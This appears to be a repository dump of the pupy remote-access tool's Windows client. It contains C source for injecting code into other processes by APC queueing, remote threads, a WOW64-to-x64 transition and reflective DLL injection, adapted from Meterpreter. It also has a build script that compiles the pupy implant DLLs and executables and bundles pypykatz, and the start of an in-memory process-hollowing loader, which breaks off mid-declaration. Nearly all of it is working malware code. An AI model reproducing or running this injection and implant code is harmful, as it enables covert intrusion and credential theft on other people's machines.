!WriteProcessMemory(\n                    hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)),\n                    bStub, sizeof(bStub), NULL ) )\n                BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed\" )\n\n                free( lpNopSled );\n            }\n#else\n            {\n            SetLastError( ERROR_BAD_ENVIRONMENT );\n            BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: Invalid target architecture\" )\n            }\n#endif\n        }\n\n        hNtdll = LoadLibraryA( \"ntdll\" );\n        if( !hNtdll )\n            BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: LoadLibraryA failed\" )\n\n        pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, \"NtQueueApcThread\" );\n        if( !pNtQueueApcThread )\n            BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed\" )\n\n        hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );\n        if( !hThreadSnap )\n            BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed\" )\n\n        if( !Thread32First( hThreadSnap, &t ) )\n            BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: Thread32First failed\" )\n\n        // Allocate memory for the apc stub and context\n        lpRemoteApcStub = VirtualAllocEx(\n            hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT),\n            MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n        if( !lpRemoteApcStub )\n            BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: VirtualAllocEx failed\" )\n\n        // Simply determine the apc context address\n        lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength );\n\n        dprint(\n            \"[INJECT] -- dwPupyArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X\\n\",\n#ifdef _WIN64\n            \"x64\",\n#else\n            \"x86\",\n#endif\n            lpRemoteApcStub, lpRemoteApcContext\n        );\n\n        // Write the apc stub to memory...\n        if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )\n            BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed\" )\n\n        // Write the apc context to memory...\n        if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )\n            BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed\" )\n\n        do {\n            HANDLE hThread = NULL;\n\n            // Only proceed if we are targeting a thread in the target process\n            if( t.th32OwnerProcessID != dwProcessID )\n                continue;\n\n            // Open a handle to this thread so we can do the apc injection\n            hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID );\n            if( !hThread )\n                continue;\n\n            dprint(\"[INJECT] inject_via_apcthread: Trying to inject into thread %d\\n\", t.th32ThreadID );\n\n            // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target\n            // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.\n            // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.\n            if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )\n            {\n                dprint(\"[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.\\n\", t.th32ThreadID );\n                dwResult = ERROR_SUCCESS;\n            }\n            else\n            {\n                dprint(\"[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.\\n\", t.th32ThreadID );\n            }\n\n            CloseHandle( hThread );\n\n        } while( Thread32Next( hThreadSnap, &t ) && dwResult != ERROR_SUCCESS);\n\n    } while( 0 );\n\n    if( hThreadSnap )\n        CloseHandle( hThreadSnap );\n\n    if( hNtdll )\n        FreeLibrary( hNtdll );\n\n    SetLastError( dwResult );\n    return dwResult;\n}\n\n/*\n * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86)\n * enviroment into a native x64 enviroment and accessing the native win64 API's.\n * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new\n *       threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out\n *       Windows 2003 from this method of injection, however the APC injection method will work on 2003.\n */\nDWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread )\n{\n    DWORD dwResult       = ERROR_SUCCESS;\n    EXECUTEX64 pExecuteX64   = NULL;\n    X64FUNCTION pX64function = NULL;\n    WOW64CONTEXT * ctx       = NULL;\n    OSVERSIONINFO os     = {0};\n\n    do\n    {\n        os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );\n\n        if( !GetVersionEx( &os ) )\n            BREAK_ON_ERROR( \"[INJECT] inject_via_remotethread_wow64: GetVersionEx failed\" )\n\n        // filter out Windows 2003\n        if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )\n        {\n            SetLastError( ERROR_ACCESS_DENIED );\n            BREAK_ON_ERROR( \"[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported.\" )\n        }\n\n        // alloc a RWX buffer in this process for the EXECUTEX64 function\n        pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );\n        if( !pExecuteX64 )\n            BREAK_ON_ERROR( \"[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed\" )\n\n        // alloc a RWX buffer in this process for the X64FUNCTION function (and its context)\n        pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );\n        if( !pX64function )\n            BREAK_ON_ERROR( \"[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed\" )\n\n        // copy over the wow64->x64 stub\n        memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) );\n\n        // copy over the native x64 function\n        memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) );\n\n        // set the context\n        ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) );\n\n        ctx->h.hProcess       = hProcess;\n        ctx->s.lpStartAddress = lpStartAddress;\n        ctx->p.lpParameter    = lpParameter;\n        ctx->t.hThread    = NULL;\n\n        //printf( \"[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X\", pExecuteX64, pX64function, ctx );\n\n        // Transition this wow64 process into native x64 and call pX64function( ctx )\n        // The native function will use the native Win64 API's to create a remote thread in the target process.\n        if( !pExecuteX64( pX64function, (DWORD)ctx ) )\n        {\n            SetLastError( ERROR_ACCESS_DENIED );\n            BREAK_ON_ERROR( \"[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed\" )\n        }\n\n        if( !ctx->t.hThread )\n        {\n            SetLastError( ERROR_INVALID_HANDLE );\n            BREAK_ON_ERROR( \"[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL\" )\n        }\n\n        // Success! grab the new thread handle from of the context\n        *pThread = ctx->t.hThread;\n\n        //printf( \"[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X\", ctx->t.hThread );\n\n    } while( 0 );\n\n    if( pExecuteX64 )\n        VirtualFree( pExecuteX64, 0, MEM_DECOMMIT );\n\n    if( pX64function )\n        VirtualFree( pX64function, 0, MEM_DECOMMIT );\n\n    return dwResult;\n}\n\n/*\n * Attempte to gain code execution in the remote process by creating a remote thread in the target process.\n */\nDWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter)\n{\n    DWORD dwResult = ERROR_INVALID_FUNCTION;\n    DWORD dwResumeResult = NULL;\n    DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;\n    HANDLE hThread = NULL;\n\n    do\n    {\n    // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread\n    // fails, giving us a chance to try an alternative method or fail migration gracefully.\n    hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL);\n    if (!hThread)\n    {\n#ifndef _WIN64\n        if (dwDestinationArch == PROCESS_ARCH_X64)\n        {\n            dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;\n\n            if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS)\n            {\n                BREAK_ON_ERROR(\"[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed\")\n            }\n        }\n        else\n        {\n            BREAK_ON_ERROR(\"[INJECT] inject_via_remotethread: CreateRemoteThread failed\")\n        }\n#else\n        {\n            BREAK_ON_ERROR(\"[INJECT] inject_via_remotethread: CreateRemoteThread failed\")\n        }\n#endif\n    }\n    else\n    {\n        dprint(\"[INJECT] inject_via_remotethread: succeeded, hThread = %p\\n\", hThread);\n    }\n\n    dprint(\"[INJECT] inject_via_remotethread: Resuming the injected thread...\\n\");\n\n    // Resume the injected thread...\n    dwResumeResult = ResumeThread(hThread);\n    if (dwResumeResult == (DWORD)-1)\n    {\n        BREAK_ON_ERROR(\"[INJECT] inject_via_remotethread: ResumeThread failed\")\n    }\n\n    dprint(\"[INJECT] Thread %p resumed with %d\\n\", hThread, dwResumeResult);\n\n    } while (0);\n\n    if (hThread)\n    {\n        CloseHandle(hThread);\n        dwResult = ERROR_SUCCESS;\n    }\n\n    SetLastError(dwResult);\n\n    return dwResult;\n}\n\n/*\n * Inject a DLL image into a process via Reflective DLL Injection.\n *\n * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for\n *       an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll()\n *       in stdapi will handle this automatically.\n *\n * Note: This function largely depreciates LoadRemoteLibraryR().\n */\nDWORD inject_dll( DWORD dwPid, const LPVOID lpDllBuffer, DWORD dwDllLenght, const char * cpCommandLine , int remoteProcessArch)\n{\n    DWORD dwResult         = ERROR_ACCESS_DENIED;\n    DWORD dwNativeArch         = PROCESS_ARCH_UNKNOWN;\n    LPVOID lpRemoteCommandLine     = NULL;\n    HANDLE hProcess        = NULL;\n    LPVOID lpRemoteLibraryBuffer   = NULL;\n    LPVOID lpReflectiveLoader      = NULL;\n    LPVOID lpExecutableRegion      = NULL;\n    DWORD dwReflectiveLoaderOffset = 0;\n    DWORD dwOldProtection = 0;\n\n    dprint(\n        \"[INJECT] inject_dll(%d, %p, %d, %s, %d)\\n\",\n        dwPid, lpDllBuffer, dwDllLenght, cpCommandLine, remoteProcessArch\n    );\n\n    do\n    {\n    if( !lpDllBuffer || !dwDllLenght )\n        BREAK_ON_ERROR( \"[INJECT] inject_dll.  No Dll buffer supplied.\");\n\n    // check if the library has a ReflectiveLoader...\n    dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer );\n    if( !dwReflectiveLoaderOffset )\n        BREAK_ON_ERROR( \"[INJECT] inject_dll. GetReflectiveLoaderOffset failed.\");\n\n    dprint(\"[INJECT] ReflectiveLoader offset = %p\\n\", dwReflectiveLoaderOffset);\n\n    hProcess = OpenProcess(\n            PROCESS_VM_OPERATION | \\\n            PROCESS_VM_WRITE | \\\n            PROCESS_CREATE_THREAD | \\\n            PROCESS_QUERY_INFORMATION,\n            FALSE, dwPid );\n    if( !hProcess )\n        BREAK_ON_ERROR( \"[INJECT] inject_dll. OpenProcess failed.\" );\n\n    if( cpCommandLine )\n    {\n        // alloc some space and write the commandline which we will pass to the injected dll...\n        lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );\n        if( !lpRemoteCommandLine )\n            BREAK_ON_ERROR( \"[INJECT] inject_dll. VirtualAllocEx 1 failed\" );\n\n        if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) )\n            BREAK_ON_ERROR( \"[INJECT] inject_dll. WriteProcessMemory 1 failed\" );\n    }\n\n    // alloc memory (RWX) in the host process for the image...\n    lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );\n    if( !lpRemoteLibraryBuffer )\n        BREAK_ON_ERROR( \"[INJECT] inject_dll. VirtualAllocEx failed\" );\n\n    // write the image into the host process...\n    if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) )\n        BREAK_ON_ERROR( \"[INJECT] inject_dll. WriteProcessMemory 2 failed\" );\n\n    // add the offset to ReflectiveLoader() to the remote library address...\n    lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );\n\n    lpExecutableRegion = (LPVOID) (((UINT_PTR) lpReflectiveLoader) - (((UINT_PTR) lpReflectiveLoader) % 8192));\n\n    if ( !VirtualProtectEx( hProcess, lpExecutableRegion, 16384, PAGE_EXECUTE_READ, &dwOldProtection) )\n        BREAK_ON_ERROR( \"[INJECT] inject_dll. VirtualProtectEx failed\" );\n\n    // First we try to inject by directly creating a remote thread in the target process\n    if( inject_via_remotethread( hProcess, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )\n    {\n        dprint(\n            \"[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread...\\n\");\n\n        // If that fails we can try to migrate via a queued APC in the target process\n        if( inject_via_apcthread( hProcess, dwPid, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )\n        BREAK_ON_ERROR( \"[INJECT] inject_dll. inject_via_apcthread failed\" )\n    }\n\n    dwResult = ERROR_SUCCESS;\n\n    } while( 0 );\n\n    if( hProcess )\n    CloseHandle( hProcess );\n\n    dprint(\"[INJECT] Result: %d\\n\", dwResult);\n\n    return dwResult;\n}\n"
  },
  {
    "path": "client/sources-windows-py3/base_inject.h",
    "content": "/*\n This code has been taken from meterpreter and modified to be integrated into pupy.\n original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/\n\nMeterpreter is available for use under the following license, commonly known as the\n3-clause (or \"modified\") BSD license:\n\n=========================================================================================\n\nMeterpreter\n-----------\n\nCopyright (c) 2006-2013, Rapid7 Inc\n\nRedistribution and use in source and binary forms, with or without modification, are\npermitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this list of\n  conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice, this list of\n  conditions and the following disclaimer in the documentation and/or other materials\n  provided with the distribution.\n\n* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or\n  promote products derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\nEXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\nTHE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\nOF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\nHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\nTORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*/\n//===============================================================================================//\n#ifndef _METERPRETER_BASE_INJECT_H\n#define _METERPRETER_BASE_INJECT_H\n//===============================================================================================//\n\n// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here.\n#define PROCESS_ARCH_UNKNOWN\t\t\t\t0\n#define PROCESS_ARCH_X86\t\t\t\t\t1\n#define PROCESS_ARCH_X64\t\t\t\t\t2\n#define PROCESS_ARCH_IA64\t\t\t\t\t3\n\n// The three injection techniques currently supported.\n#define MIGRATE_TECHNIQUE_REMOTETHREAD\t\t0\n#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64\t1\n#define MIGRATE_TECHNIQUE_APCQUEUE\t\t\t2\n\n//===============================================================================================//\n\n// Definition of ntdll!NtQueueApcThread\ntypedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved );\n\n// Definitions used for running native x64 code from a wow64 process (see executex64.asm)\ntypedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );\ntypedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );\n\n//===============================================================================================//\n\n// The context used for injection via migrate_via_apcthread\ntypedef struct _APCCONTEXT\n{\n     union\n    {\n        LPVOID lpStartAddress;\n        BYTE bPadding1[8];\n    } s;\n\n    union\n    {\n         LPVOID lpParameter;\n        BYTE bPadding2[8];\n    } p;\n\n    BYTE bExecuted;\n\n} APCCONTEXT, * LPAPCCONTEXT;\n\n// The context used for injection via migrate_via_remotethread_wow64\ntypedef struct _WOW64CONTEXT\n{\n    union\n    {\n         HANDLE hProcess;\n        BYTE bPadding2[8];\n    } h;\n\n     union\n    {\n        LPVOID lpStartAddress;\n        BYTE bPadding1[8];\n    } s;\n\n    union\n    {\n         LPVOID lpParameter;\n        BYTE bPadding2[8];\n    } p;\n    union\n    {\n        HANDLE hThread;\n        BYTE bPadding2[8];\n    } t;\n} WOW64CONTEXT, * LPWOW64CONTEXT;\n\n//===============================================================================================//\n\nDWORD inject_via_apcthread(HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);\n\nDWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);\n\nDWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);\n\nDWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, const char * cpCommandLine, int is64bits);\n\n//===============================================================================================//\n#endif\n//===============================================================================================//\n"
  },
  {
    "path": "client/sources-windows-py3/build-docker.sh",
    "content": "#!/bin/sh\n\nPACKAGES_BUILD=\"netifaces msgpack-python u-msgpack-python construct bcrypt watchdog dukpy impacket zeroconf ushlex\"\nPACKAGES_BUILD=\"$PACKAGES_BUILD pycryptodomex pycryptodome cryptography pyOpenSSL paramiko\"\n\nPACKAGES=\"rsa pefile win_inet_pton netaddr pywin32 win_inet_pton dnslib\"\nPACKAGES=\"$PACKAGES pyaudio https://github.com/secdev/scapy/archive/master.zip colorama pyaudio\"\nPACKAGES=\"$PACKAGES https://github.com/alxchk/pypykatz/archive/master.zip\"\nPACKAGES=\"$PACKAGES https://github.com/warner/python-ed25519/archive/master.zip\"\nPACKAGES=\"$PACKAGES https://github.com/alxchk/tinyec/archive/master.zip\"\nPACKAGES=\"$PACKAGES https://github.com/alxchk/urllib-auth/archive/master.zip\"\nPACKAGES=\"$PACKAGES https://github.com/alxchk/winkerberos/archive/master.zip\"\nPACKAGES=\"$PACKAGES https://github.com/alxchk/pyuv/archive/v1.x.zip\"\nPACKAGES=\"$PACKAGES idna http-parser pyodbc wmi\"\nPACKAGES=\"$PACKAGES psutil==5.9.2\"\n\nSUFFIX=\"-`$PYTHON64 -c 'import sys;sys.stdout.write((chr.__call__(0)[0:0]).join([str(x) for x in sys.version_info[0:2]]));sys.stdout.flush()'`\"\necho \"Building with python version suffix: $SUFFIX\"\nSELF=$(readlink -f \"$0\")\nSELFPWD=$(dirname \"$SELF\")\nSRC=${SELFPWD:-$(pwd)}\nPUPY=$(readlink -f ../../pupy)\n\ncd $SRC\n\nEXTERNAL=$(readlink -f ../../pupy/external)\nTEMPLATES=$(readlink -f ../../pupy/payload_templates)\nWINPTY=$EXTERNAL/winpty\nPYKCP=$EXTERNAL/pykcp\nPYOPUS=$EXTERNAL/pyopus/src\n\n$PYTHON32 -m pip install -q --upgrade pylzma\n$PYTHON64 -m pip install -q --upgrade pylzma\n\n\nSKIP_TO_BUILD=0\nif [ ! \"$SKIP_TO_BUILD\" -eq \"1\" ]; then\n\necho \"[+] Install python packages\"\nfor PYTHON in $PYTHON32 $PYTHON64; do\n    $PYTHON -m pip install -q --upgrade pip\n    $PYTHON -m pip install -q --upgrade setuptools cython\n\n    # Still problems here\n    $PYTHON -m pip install -q --upgrade pynacl\n\n    $PYTHON -m pip install --upgrade pycryptodome\n    $PYTHON -m pip install --upgrade $PACKAGES_BUILD\n\n    NO_JAVA=1 \\\n        $PYTHON -m pip install --upgrade --force-reinstall \\\n        https://github.com/alxchk/pyjnius/archive/master.zip\n\n    $PYTHON -m pip install --upgrade --force-reinstall \\\n        https://github.com/alxchk/scandir/archive/master.zip\n\n    $PYTHON -m pip install --upgrade $PACKAGES\n\n    $PYTHON -c \"from Crypto.Cipher import AES; AES.new\"\n    if [ ! $? -eq 0 ]; then\n        echo \"pycryptodome build failed\"\n        exit 1\n    fi\n\n    rm -rf $PYKCP/{kcp.so,kcp.pyd,kcp.dll,build,KCP.egg-info}\n    $PYTHON -m pip install --upgrade --force $PYKCP\n    $PYTHON -c 'import kcp' || exit 1\ndone\n\nfor PYTHON in $PYTHON32 $PYTHON64; do\n    $PYTHON -m pip install -q --force pycparser\ndone\n\n#cd $PYOPUS\n#echo \"[+] Compile opus /32\"\n#git clean -fdx\n#make -f Makefile.msvc CL=$CL32\n#mv opus.pyd ${PYTHONPATH32}/Lib/site-packages/\n\n#echo \"[+] Compile opus /64\"\n#git clean -fdx\n#make -f Makefile.msvc CL=$CL64\n#mv -f opus.pyd ${PYTHONPATH64}/Lib/site-packages/\n\necho \"[+] Compile winpty /32\"\nrm -f $WINPTY/build/winpty.dll\nmake -C ${WINPTY} clean\nmake -C ${WINPTY} MINGW_CXX=\"${MINGW32}-win32 -mabi=ms -Os\" V=1 build/winpty.dll\nif [ ! -f $WINPTY/build/winpty.dll ]; then\n    echo \"WinPTY/x86 build failed\"\n    exit 1\nfi\n\nmv $WINPTY/build/winpty.dll ${PYTHONPATH32}/DLLs/\n\necho \"[+] Compile winpty /64\"\nrm -f $WINPTY/build/winpty.dll\nmake -C ${WINPTY} clean\nmake -C ${WINPTY} MINGW_CXX=\"${MINGW64}-win32 -mabi=ms -Os\" V=1 build/winpty.dll\nif [ ! -f $WINPTY/build/winpty.dll ]; then\n    echo \"WinPTY/x64 build failed\"\n    exit 1\nfi\n\nmv ${WINPTY}/build/winpty.dll ${PYTHONPATH64}/DLLs/\n\necho \"[+] Build templates /32\"\ncd ${PYTHONPATH32}\nrm -f ${TEMPLATES}/windows-x86${SUFFIX}.zip\nfor dir in Lib DLLs; do\n    cd $dir\n    zip -q -y \\\n        -x \"*.a\" -x \"*.o\" -x \"*.whl\" -x \"*.txt\" -x \"*.pyo\" -x \"*.pyc\" -x \"*.chm\" \\\n        -x \"*test/*\" -x \"*tests/*\" -x \"*examples/*\" -x \"pythonwin/*\" \\\n        -x \"idlelib/*\" -x \"lib-tk/*\" -x \"tk*\" -x \"tcl*\" \\\n        -x \"*.egg-info/*\" -x \"*.dist-info/*\" -x \"*.exe\" \\\n        -r9 ${TEMPLATES}/windows-x86${SUFFIX}.zip .\n    cd -\ndone\ncd ${PYTHONPATH64}\nrm -f ${TEMPLATES}/windows-amd64${SUFFIX}.zip\n\necho \"[+] Build templates /64\"\nfor dir in Lib DLLs; do\n    cd $dir\n    zip -q -y \\\n        -x \"*.a\" -x \"*.o\" -x \"*.whl\" -x \"*.txt\" -x \"*.pyo\" -x \"*.pyc\" -x \"*.chm\" \\\n        -x \"*test/*\" -x \"*tests/*\" -x \"*examples/*\" -x \"pythonwin/*\" \\\n        -x \"idlelib/*\" -x \"lib-tk/*\" -x \"tk*\" -x \"tcl*\" \\\n        -x \"*.egg-info/*\" -x \"*.dist-info/*\" -x \"*.exe\" \\\n        -r9 ${TEMPLATES}/windows-amd64${SUFFIX}.zip .\n    cd -\ndone\n\nfi\n\necho \"[+] Build pupy\"\n\nTARGETS=\"pupyx64d${SUFFIX}.dll pupyx64d${SUFFIX}.exe pupyx64${SUFFIX}.dll pupyx64${SUFFIX}.exe\"\nTARGETS=\"$TARGETS pupyx86d${SUFFIX}.dll pupyx86d${SUFFIX}.exe pupyx86${SUFFIX}.dll pupyx86${SUFFIX}.exe\"\nTARGETS=\"$TARGETS \"\n\ncd ${SRC}\n\nfor target in $TARGETS; do rm -f $TEMPLATES/$target; done\n\nset -e\n\n#make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 FEATURE_POSTMORTEM=1 ARCH=32\n\nmake -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=32 clean\nmake -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=32\nmake -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=32 clean\n\nmake -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=32 clean\nmake -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=32\nmake -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=32 clean\n\nmake -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=64 clean\nmake -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=64\nmake -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=64 clean\n\nmake -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=64 clean\nmake -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=64\nmake -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=64 clean\n\n\n\n\nfor object in $TARGETS; do\n    if [ -z \"$object\" ]; then\n        continue\n    fi\n\n    if [ ! -f $TEMPLATES/$object ]; then\n        echo \"[-] $object - failed\"\n        FAILED=1\n    fi\ndone\n\nif [ -z \"$FAILED\" ]; then\n    echo \"[+] Build complete\"\nelse\n    echo \"[-] Build failed\"\n    exit 1\nfi\n"
  },
  {
    "path": "client/sources-windows-py3/in-mem-exe.c",
    "content": "/*\n * Prototype for in-memory executable execution.\n *\n * Improvements that need to be made:\n *\n *    - Support passing arguments to the executable\n *    - General testing with various executables\n *\n * skape\n * mmiller@hick.org\n * 05/09/2005\n *\n * x64 implementation RageLtMan [at] sempervictus.com\n * - original PE based method by steve10120 [at] ic0de.org\n */\n//#include \"precomp.h\"\n\n#ifndef _WIN32\ntypedef ULONG NTSTATUS;\n#endif\n\ntypedef enum _PROCESSINFOCLASS\n{\n\tProcessBasicInformation = 0,\n} PROCESSINFOCLASS;\n\ntypedef struct _MINI_PEB\n{\n\tULONG  Flags;\n\tLPVOID Mutant;\n\tLPVOID ImageBaseAddress;\n} MINI_PEB, *PMINI_PEB;\n\ntypedef struct _PROCESS_BASIC_INFORMATION\n{\n\tNTSTATUS  ExitStatus;\n\tPMINI_PEB PebBaseAddress;\n\tULONG     AffinityMask;\n\tULONG     BasePriority;\n\tHANDLE    UniqueProcessId;\n\tHANDLE    InheritedFromUniqueProcessId;\n} PROCESS_BASIC_INFORMATION;\n\nBOOL MapNewExecutableRegionInProcess(\n\t\tIN HANDLE TargetProcessHandle,\n\t\tIN HANDLE TargetThreadHandle,\n\t\tIN LPVOID NewExecutableRawImage);\n\n//\n// Maps the contents of the executable image into the new process and unmaps\n// the original executable.  All necessary fixups are performed to allow the\n// transfer of execution control the new executable in a seamless fashion.\n//\n#ifdef _WIN64\n//\n// based on MemExec64 source by steve10120 [at] ic0de.org\n//\tclever method of getting contextinformation for entry point data, x64 doesnt give us ThreadContext.Eax\n// adaptation for in-mem-exe.c by RageLtMan\n// TODO: add wow64 launcher, add src/target image arch checks\n//\nBOOL MapNewExecutableRegionInProcess(\n\t\tIN HANDLE TargetProcessHandle,\n\t\tIN HANDLE TargetThreadHandle,\n\t\tIN LPVOID NewExecutableRawImage);\n\ntypedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\ntypedef LONG (WINAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG);\n\nDWORD_PTR Align(DWORD_PTR Value, DWORD_PTR Alignment)\n{\n\tDWORD_PTR dwResult = Value;\n\n\tif (Alignment > 0)\n\t{\n\t\tif ((Value % Alignment) > 0)\n\t\t\tdwResult = (Value + Alignment) - (Value % Alignment);\n\t}\n\treturn dwResult;\n}\n\nBOOL MapNewExecutableRegionInProcess(\n\t\tIN HANDLE TargetProcessHandle,\n\t\tIN HANDLE TargetThreadHandle,\n\t\tIN LPVOID NewExecutableRawImage)\n{\n\tPROCESS_INFORMATION       BasicInformation;\n\tPIMAGE_SECTION_HEADER     SectionHeader;\n\tPIMAGE_DOS_HEADER         